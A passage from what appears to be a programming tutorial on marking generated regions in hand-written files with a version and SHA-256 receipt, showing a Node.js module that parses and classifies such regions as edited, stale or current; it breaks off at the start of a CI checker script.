&lt;p&gt;Write the generator’s identity, its version, and a hash of the body. The hash is doing the same job as &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity&quot;&gt;Subresource Integrity&lt;/a&gt; on a script tag, where the browser “will then calculate the hash of the resource contents using the specified function, and compare the result” before trusting it. Here the comparison is not for security; it tells you whether the bytes are still the ones you wrote.&lt;/p&gt;
&lt;p&gt;Save this as &lt;code&gt;region.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { createHash } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:crypto&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; sha&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; createHash&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;sha256&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;digest&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;hex&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * A generated region inside an otherwise hand-written file.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * The opening marker carries three things, and each answers a different&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * question later: the generator&apos;s identity (who owns this block), its version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * (is the block current), and a receipt over the body (has anyone typed in it).&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(body, { region, version, generator }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `# &gt;&gt;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} sha256:${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sha&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} GENERATED by ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;generator&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, do not edit`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    body,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `# &amp;#x3C;&amp;#x3C;&amp;#x3C; ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OPEN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^# &gt;&gt;&gt; (\S+) v(\S+) sha256:(\S+) GENERATED by (\S+?), do not edit$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, region) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OPEN.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OPEN.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l)[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; region);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l, i) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; l &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `# &amp;#x3C;&amp;#x3C;&amp;#x3C; ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [, , version, receipt, generator] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OPEN.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(lines[start]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { version, receipt, generator, body: lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, end).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Three states, and telling them apart is the whole point:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   edited  the body no longer matches its own receipt — a human typed here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   stale   the body is intact, but a different generator or version wrote it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *   ok      current generator, current version, untouched body&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; classify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, { region, version, generator }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, region);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { state: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;absent&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sha&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found.body) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found.receipt) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { state: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;edited&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, by: found.generator };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (found.generator &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; generator) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { state: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;stale&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, by: found.generator };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (found.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { state: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;stale&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, by: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;generator&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { state: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, by: found.generator };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, body, opts) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, opts.region);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OPEN.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OPEN.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l)[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; opts.region);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l, i) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; l &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `# &amp;#x3C;&amp;#x3C;&amp;#x3C; ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, start), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(body, opts), &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The order of the checks in &lt;code&gt;classify&lt;/code&gt; matters. Receipt first, identity second: a block someone edited is &lt;em&gt;not&lt;/em&gt; stale, it is a conversation, and finding out it was also written by the old generator does not change that.&lt;/p&gt;
&lt;h2&gt;Classify, do not diff&lt;/h2&gt;
&lt;p&gt;Now a checker over a directory. It reports every region and exits non-zero when anything is stale, which is what makes it usable in CI. Save it as &lt;code&gt;check.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readdirSync, readFileSync, writeFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
